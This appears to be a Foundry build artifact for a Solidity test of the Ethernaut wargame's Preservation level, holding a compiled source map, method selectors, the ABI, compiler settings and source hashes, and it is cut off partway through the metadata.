;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;18603:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;18576:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19540:184::-;19610:6;19663:2;19651:9;19642:7;19638:23;19634:32;19631:52;;;19679:1;19676;19669:12;19631:52;-1:-1:-1;19702:16:155;;19540:184;-1:-1:-1;19540:184:155:o;19729:125::-;19794:9;;;19815:10;;;19812:36;;;19828:18;;:::i;19859:383::-;20056:2;20045:9;20038:21;20019:4;20082:45;20123:2;20112:9;20108:18;20100:6;20082:45;:::i;:::-;20175:9;20167:6;20163:22;20158:2;20147:9;20143:18;20136:50;20203:33;20229:6;20221;20203:33;:::i;:::-;20195:41;19859:383;-1:-1:-1;;;;;19859:383:155:o;20247:335::-;20326:6;20379:2;20367:9;20358:7;20354:23;20350:32;20347:52;;;20395:1;20392;20385:12;20347:52;20428:9;20422:16;20461:18;20453:6;20450:30;20447:50;;;20493:1;20490;20483:12;20447:50;20516:60;20568:7;20559:6;20548:9;20544:22;20516:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Preservation.t.sol\":\"TestPreservation\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dwe